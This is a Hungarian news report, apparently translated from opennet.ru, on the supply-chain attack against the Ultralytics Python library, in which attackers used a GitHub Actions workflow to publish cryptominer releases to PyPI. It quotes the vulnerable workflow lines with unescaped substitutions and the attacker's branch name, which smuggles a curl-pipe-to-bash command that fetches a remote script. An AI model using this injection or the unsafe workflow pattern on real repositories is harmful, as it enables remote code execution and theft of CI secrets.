A támadók képesek voltak kódot futtatni a GitHub Actions kezelőjének jogain, a Python Ultralytics könyvtárában, amelyet számítógépes látás feladatok megoldására használnak, mint például tárgyak azonosítása képeken és képfeldolgozás. Miután hozzáférést szereztek a könyvtárhoz, a támadók több új ulralytics verziót tettek közzé a PyPI könyvtárában, amelyek rosszindulatú változtatásokat tartalmaztak, hogy kriptovalutát bányászhassanak. Az utolsó hónapban az Ultralytics könyvtárat a PyPI könyvtárából több mint 6,4 millió alkalommal töltötték le.
A tárhely kompromittálásához az ultralytics-actions csomagban rejlő sebezhetőséget használták ki, amely automatikusan elindítja a kezelőket bizonyos műveletek végrehajtásakor a GitHub könyvtárban, a GitHub Actions mechanizmusát alkalmazva. Az ultralytics projektben a sebezhető kezelő a pull_request_target eseményhez volt kötve, és új pull kérések érkezésekor aktiválódott. Különösképpen a levél érkező pull kérések kódformázásához a format.yml kezelőt hívták meg, amely az action.yml fájl „run” szakaszában megadott kódot hajtotta végre, amely shell parancsokat tartalmazott helyettesítő mintákkal: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name „${{ inputs.github_username }}” git config —global user.email „${{ inputs.github_email }}”
Így tehát a shell parancsokba megfelelő escape nélküli feltételként került be a pull kérésben említett Git-ág neve. Érdekes, hogy augusztusban már javítottak egy hasonló sebezhetőséget az ultralytics-actions csomagban, amely külső értékek használatával kapcsolatos az echo funkcióban: echo „github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}”
A kívánt kód GitHub Actions kezelő kontextusában való végrehajtásának megszervezéséhez a támadók pull kérést küldtek az ultralytics könyvtárba, ahol a következő ág nevet adták meg: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Ennek megfelelően, amikor a pull kérés megérkezett, a támadók által megadott „$(…)” sor került a kódba, amely a kezelő későbbi futtatásakor a „curl -sSfL raw.githubusercontent.com/…/file.sh | bash” kód végrehajtásához vezetett.

A kód futtatása a GitHub Actions környezetében használható a hozzáférési token és egyéb bizalmas adatok megszerzésére. Hogy pontosan hogyan tudták a támadók létrehozni a kiadást, ami lehetővé tette számukra saját kódjuk futtatását a GitHub Actions-ban, még nem világos, de feltételezik, hogy ezt a publish.yml feldolgozó módosításával érték el (a támadók eltávolították a közzétételi engedélyezett fiók ellenőrzését a PyPI-n), valamint a GitHub Actions build cache megfertőzésének technikájának felhasználásával, hogy a saját adataikat helyettesítsék a kiadásban.
Az első rosszindulatú Ultralytics 8.3.41 kiadást a támadók a PyPI katalógusában 4-én 23:51-kor (MSK) tették közzé, és a következő napon 12:15-kor törölték. 15:47-kor megjelent egy újabb 8.3.42 kiadás, amelyet 16:47-kor szintén töröltek. Így a rosszindulatú verziók összesen körülbelül 13 órán át voltak elérhetők letöltésre (a PyPI-n naponta körülbelül 250 ezer letöltés történik az ultralytics könyvtárból). A 8.3.41 és 8.3.42 kiadások során kód volt, amely külső a szerver XMRig összetevőt töltött le a kriptovaluta bányászatához.
A projekt fejlesztői megoldották a problémát, és kiadták a javító 8.3.43 és 8.3.44 kiadásokat, de két nappal később újabb támadást hajtottak végre, melynek során a támadók ma 04:41-kor és 05:27-kor (MSK) két további rosszindulatú kiadást - 8.3.45 és 8.3.46 - tettek közzé, amelyek más bányászati kódot tartalmaztak. A vizsgálat befejezéséig a felhasználóknak javasolt elhalasztani az új verziók telepítését, és rögzíteni az 8.3.44 kiadást a függőségekben.
Forrás: opennet.ru
